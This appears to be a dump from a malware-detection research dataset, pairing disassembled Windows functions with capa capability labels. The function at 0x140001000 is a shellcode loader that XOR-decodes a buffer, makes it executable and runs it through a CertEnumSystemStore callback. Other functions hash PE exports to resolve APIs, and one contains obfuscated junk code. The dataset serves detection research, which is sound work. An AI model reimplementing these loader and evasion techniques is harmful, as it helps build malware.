joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180012650
Capabilities:
Get system information on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x80
lea r14, [rcx + rdx]
mov eax, 0x80000000
mov rbx, rcx
cmp r14, rax
jae 0x180012675
mov r14d, 1
jmp 0x18001267c
sub r14, 0x7fff0000
lea rsi, [rcx + r8]
cmp rsi, 0xffffffff80000000
jae 0x180012692
add rsi, 0x7ff80000
jmp 0x180012699
mov rsi, 0xfffffffffff80000
mov rdx, rsi
mov rcx, r14
call fcn.1800125c0
mov r9, rax
test rax, rax
jne 0x180012824
xorps xmm0, xmm0
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rdi
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xb0], r15
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, rbx
mov ecx, 0x1000
cmp dword [rsp + 0x48], ecx
cmova ecx, dword [rsp + 0x48]
xor edx, edx
mov ebp, ecx
xor edi, edi
div rbp
xor r15d, r15d
mov rbx, rax
imul rbx, rbp
cmp r14, rbx
jae 0x1800127f2
cmp rbx, rsi
jae 0x1800127f2
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800127f2
cmp dword [rsp + 0x70], 0x10000
jne 0x18001275b
cmp qword [rsp + 0x68], rbp
jb 0x18001275b
mov edx, ebp
mov rcx, rbx
call fcn.180015960
mov rdi, rax
test rax, rax
jne 0x180012785
mov ecx, r15d
lea r8d, [r15 + 1]
and ecx, 1
mov r15d, r8d
lea rdx, [rcx*2 - 1]
movsxd rcx, r8d
imul rdx, rcx
imul rdx, rbp
add rbx, rdx
cmp r14, rbx
jb 0x180012712
jmp 0x1800127f2
movabs rax, 0xf0f0f0f0f0f0f0f1
mov qword [rdi + 0x78], 0
mul rbp
lea rax, [rdi + 0x88]
shr rdx, 7
mov qword [rdi + 0x80], rax
cmp rdx, 1
jbe 0x1800127df
lea rax, [rdi + 0x100]
lea r9, [rdx - 1]
nop dword [rax]
lea rcx, [rax - 0x100]
mov qword [rax], rcx
lea r8, [rax + 0x10]
mov qword [rax + 8], r8
lea rax, [rax + 0x88]
sub r9, 1
jne 0x1800127c0
mov rax, qword [0x18007fe48]
imul r8, rdx, 0x88
mov qword [r8 + rdi - 8], rax
mov rdx, rsi
mov qword [0x18007fe48], rdi
mov rcx, r14
call fcn.1800125c0
mov r15, qword [rsp + 0xb0]
mov r9, rax
mov rdi, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xa0]
test rax, rax
je 0x180012854
mov qword [r9 + 0x78], 0
mov rax, qword [0x18007fe30]
mov qword [r9 + 0x80], rax
mov rax, qword [0x18007fe30]
test rax, rax
je 0x18001284a
mov qword [rax + 0x78], r9
mov qword [0x18007fe30], r9
mov rax, r9
add rsp, 0x80
pop r14
pop rsi
pop rbx
ret
Function at 0x1800128e0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor edi, edi
cmp dword [0x18007fe40], edi
jbe 0x180012959
mov qword [rsp + 0x30], rbx
nop
mov rcx, qword [0x18007fe78]
lea rbx, [rdi*8]
mov rcx, qword [rbx + rcx]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [0x18007fe78]
mov rcx, qword [rbx + rcx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [0x18007fe40]
jb case.default.0x18001298f
mov rbx, qword [rsp + 0x30]
mov rcx, qword [0x18007fe78]
call fcn.18002e078
mov qword [0x18007fe78], 0
mov dword [0x18007fe40], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, esi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_SetThreadPriority]
clc
rol ecx, 2
clc
sub ecx, 0x43ab3f4d
stc
cmc
not ecx
clc
cmp cx, 0x2e2c
push rdi
push rdi
mov dil, 0x39
add dil, r11b
adc dil, 0xe9
xor dword [rsp], ecx
pop rdi
test al, r11b
movsxd rcx, ecx
add r11, rcx
jmp 0x18010ec63
iretd
cld
imul eax, dword [rsi], 0xd1f7f500
rol ecx, 3
stc
bswap ecx
cmc
stc
jmp 0x1801626ad
push r11
ret
rep movsb byte [rdi], byte [rsi]
popfq
movsx rdi, si
cmovs di, r9w
movsx edi, r9w
pop rdi
jmp 0x18014e4b6
lea rax, [rsp + 0x140]
cmp r8, rax
jmp 0x18011ac74
cld
jmp 0x1800a7b46
jmp 0x1800b0902
ja 0x18014e4b6
mov r9, rsp
bswap si
test dx, 0x5826
bsf dx, cx
movabs rcx, 0x100
movsxd rdx, r10d
or dx, 0x1ec0
lea rdx, [r8 + riz - 0x80]
cmove rsi, r8
and rdx, 0xfffffffffffffff0
or sil, dil
sub rdx, rcx
mov rsp, rdx
cmovg esi, r9d
movsx esi, dx
push rdi
pushfq
mov rsi, r9
setg dil
mov di, r14w
movzx edi, r10w
mov rdi, rdx
jmp 0x1800e8c28
jmp r11
add r11, rcx
jmp 0x18009572c
ror ecx, 3
clc
cmp r9d, edi
cmp r9b, 0xec
push rdi
sbb dil, dil
btc di, 0x2e
neg di
xor dword [rsp], ecx
rcr rdi, 0x2a
pop rdi
test r14d, r9d
stc
movsxd rcx, ecx
cmc
cmp r12d, 0xfda0ef9
jmp 0x1801591e4
Function at 0x18001af30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x28
mov r8, rdx
mov r11, rcx
test rdx, rdx
jne 0x18001af4e
mov rcx, qword [rcx]
mov dl, 0x30
mov rax, qword [rcx]
add rsp, 0x28
jmp qword [rax]
mov qword [rsp + 0x30], rbx
lea r9, [rcx + 0x10]
mov qword [rsp + 0x20], rdi
test rdx, rdx
jns 0x18001b06d
mov rax, rdx
mov byte [rcx + 0x10], 0x2d
cqo
mov ecx, 1
mov r8, rax
xor r8, rdx
sub r8, rdx
mov rdx, r8
cmp r8, 0xa
jb 0x18001afc7
movabs r10, 0x346dc5d63886594b
nop
cmp rdx, 0x64
jb 0x18001b066
cmp rdx, 0x3e8
jb 0x18001b05e
cmp rdx, 0x2710
jb 0x18001b056
mov rax, r10
add ecx, 4
mul rdx
shr rdx, 0xb
cmp rdx, 0xa
jae 0x18001af90
inc ecx
mov r10d, ecx
lea rdi, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add r9, r10
cmp r8, 0x64
jb 0x18001b032
mov qword [rsp + 0x38], rsi
movabs rsi, 0x47ae147ae147ae15
nop dword [rax + rax]
mov rcx, r8
mov rax, rsi
mul r8
sub r8, rdx
shr r8, 1
add r8, rdx
shr r8, 6
imul rax, r8, 0x64
sub rcx, rax
mov eax, ecx
lea rcx, [rax + rax]
movzx eax, byte [rcx + rdi + 1]
mov byte [r9 - 1], al
add r9, 0xfffffffffffffffe
movzx eax, byte [rcx + rdi]
mov byte [r9], al
cmp r8, 0x64
jae 0x18001aff0
mov rsi, qword [rsp + 0x38]
cmp r8, 0xa
jb 0x18001b0ca
mov eax, r8d
lea rcx, [rax + rax]
movzx eax, byte [rcx + rdi + 1]
mov byte [r9 - 1], al
movzx eax, byte [rcx + rdi]
mov byte [r9 - 2], al
jmp 0x18001b0d2
add ecx, 3
jmp 0x18001afc7
add ecx, 2
jmp 0x18001afc7
inc ecx
jmp 0x18001afc7
mov ecx, 1
cmp rdx, 0xa
jb 0x18001afc9
movabs r10, 0x346dc5d63886594b
cmp rdx, 0x64
jb 0x18001afc7
cmp rdx, 0x3e8
jb 0x18001b0c2
cmp rdx, 0x2710
jb 0x18001b0ba
mov rax, r10
add ecx, 4
mul rdx
shr rdx, 0xb
cmp rdx, 0xa
jae 0x18001b086
jmp 0x18001afc9
add ecx, 3
jmp 0x18001afc9
add ecx, 2
jmp 0x18001afc9
add r8b, 0x30
mov byte [r9 - 1], r8b
mov rcx, qword [r11]
lea rdx, [r11 + 0x10]
mov r8, r10
mov rax, qword [rcx]
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
jmp qword [rax + 8]
Function at 0x140007cb0
Capabilities:
Check if file exists
Delete file
Move file
Terminate process

Disassembly:
sub rsp, 0x28
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov ecx, 2
call fcn.140014a40
nop
nop word cs:[rax + rax]
nop

Function at 0x140007cd0
Capabilities:
Check if file exists
Delete file
Move file
Terminate process

Disassembly:
sub rsp, 0x28
lea rcx, str.Error__couldnt_decode_attached_data.
call fcn.140007cb0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140007cf0
Capabilities:
Check if file exists
Delete file
Move file
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Error__couldnt_runtime_expand_spec__ls._n
mov r8, rbx
mov rcx, rax
call fcn.140014ec0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax + rax]

Function at 0x140007d20
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x14001d048]
test rcx, rcx
je 0x140007d5b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007d80
mov rcx, qword [0x14001d048]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400260a8], 0
jne 0x140007d98
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x14001d048]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007d4e
lea r12, [rsp + 0x20]
mov edx, 0x414
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov qword [rsp + 0x20], 0
lea rsi, [0x140017344]
mov dword [rsp + 0x28], 3
mov rcx, r12
mov ebx, 0x14
lea rdi, [0x1400260c0]
movq xmm0, rsi
mov word [rsp + 0x40], dx
movq xmm6, rdi
mov dword [rsp + 0x44], 0
punpcklqdq xmm6, xmm0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x48], 0
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007e64
test al, 0x10
je 0x140007d64
mov ecx, 0x64
call r14
mov eax, 0x414
movaps xmmword [rsp + 0x30], xmm6
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
call rbp
sub ebx, 1
je 0x140007d64
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007e10
jmp 0x140007d64
Function at 0x14000f5d0
Capabilities:
Create directory
Extract resource via kernel32 functions

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140014e60
sub rsp, rax
mov eax, dword [0x14002a0c0]
test eax, eax
mov rsi, rcx
je 0x14000f670
lea rdi, [0x1400280c0]
xor ebx, ebx
test eax, eax
jg 0x14000f60c
jmp 0x14000f620
add rbx, 1
cmp dword [0x14002a0c0], ebx
jle 0x14000f620
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscmp
test eax, eax
jne 0x14000f600
jmp 0x14000f657
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
cmp rax, 2
jne 0x14000f635
cmp word [rsi + 2], 0x3a
je 0x14000f657
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000f6c0
movsxd rbx, dword [0x14002a0c0]
cmp ebx, 0x3ff
jle 0x14000f6d8
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
mov r8d, 0x1000
lea rbx, str._HOME_
mov rcx, rdi
mov rdx, rbx
call fcn.140007640
test al, al
je 0x14000f6fa
movsxd rbx, dword [0x14002a0c0]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsdup
lea rdi, [0x1400280c0]
mov qword [rdi + rbx*8], rax
mov eax, dword [0x14002a0c0]
add eax, 1
mov dword [0x14002a0c0], eax
jmp 0x14000f5f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000f644
xor eax, eax
jmp 0x14000f65c
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsdup
add dword [0x14002a0c0], 1
mov rdx, rax
lea rax, [0x1400280c0]
mov qword [rax + rbx*8], rdx
jmp 0x14000f657
mov rcx, rbx
call fcn.140007cf0
nop
nop word cs:[rax + rax]
nop
Function at 0x1400140a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140014ea0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x140014110
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14002a144]
test esi, esi
mov rbx, rcx
jle 0x140014240
mov rax, qword [0x14002a148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001415b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400141e5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140014140
mov rcx, rbx
call fcn.140014b80
test rax, rax
mov rdi, rax
je 0x140014262
mov rax, qword [0x14002a148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140014cc0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14002a148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140014247
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400141de
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400141f0
add dword [0x14002a144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14002a148]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400141de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400140a0
nop dword [rax]
xor esi, esi
jmp 0x140014168
mov rax, qword [0x14002a148]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.1400140a0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.1400140a0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400147d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14002a1a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14002a180]
test rbx, rbx
je 0x14001482c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140014823
test rsi, rsi
je 0x140014823
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140014808
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140014a40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140014a78
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140014a80
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140014a50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140014a78
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140014a80
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140014a60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140014a78
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140014a80
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140014b80
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140018640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140014ba0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140014ba8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140014ba0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140014bfd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140014bf4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140014ba0
add rax, 0x28
cmp rax, r9
jne 0x140014be0
xor eax, eax
ret

Function at 0x140014c00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140018640]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140014c1f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140014c28
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140014c1f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140014cc0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140018640]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140014cdf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140014ce8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov r11, rsp
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov eax, dword [0x140009d10]
movaps xmm0, xmmword [str.cYT2Rfnj7MxHhGfJdVJJVcxrAp29ok1Tv8xdXq49fMg23dvCkMg1usCJ1i9H9mUnVsew0cXboHojMwDZQ9VAuPqg08kaV8h5ueDE]
movaps xmm1, xmmword [0x140009cc0]
lea r8, [0x14000c2b0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [0x140009cd0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmm1, xmmword [0x140009ce0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x140009cf0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x140009d00]
movaps xmmword [rsp + 0x70], xmm0
mov dword [r11 - 0x28], eax
movzx eax, byte [0x140009d14]
mov byte [r11 - 0x24], al
movaps xmmword [r11 - 0x38], xmm1
xor r11d, r11d
mov r10d, r11d
mov eax, r11d
nop dword [rax]
cmp rax, 0x64
lea r8, [r8 + 1]
cmove rax, r11
inc r10d
movzx ecx, byte [rsp + rax + 0x30]
inc rax
xor byte [r8 - 1], cl
movsxd rcx, r10d
cmp rcx, 0x40051
jb 0x140001090
mov ecx, 0x5dc
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
lea rcx, [0x14000c2b0]
mov edx, 0x40051
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [0x14000c2b0]
lea r8, str.anythings
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001140
add rsp, 0xb8
ret

Function at 0x140001d28
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001b90
Function at 0x140001b50
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001be7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001be7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x9536503d
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001be2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140001bc0
cmp r8d, 0xdb66753d
je 0x140001bec
test r9d, r9d
jne 0x140001ba0
mov rax, qword [rax]
jmp 0x140001b70
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 4
mov rcx, qword [0x140089f58]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax

Function at 0x140001c20
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001cb7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001cb7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf6cfc758
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001cb2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140001c90
cmp r8d, 0x2ccaea9e
je 0x140001cbc
test r9d, r9d
jne 0x140001c70
mov rax, qword [rax]
jmp 0x140001c40
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 7
mov rcx, qword [0x140089f58]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax
Function at 0x14000a010
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x14000a044
mov eax, esi
lea ecx, [rax - 0x35]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14000a030
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140009950
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14000a069
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140016110
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000a0e3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a0de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a0de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006afc4
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14000a0f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x14000a124
mov eax, esi
lea ecx, [rax - 0x35]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14000a110
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140009950
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14000a149
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140016110
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000a1c3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a1be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006afc4
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret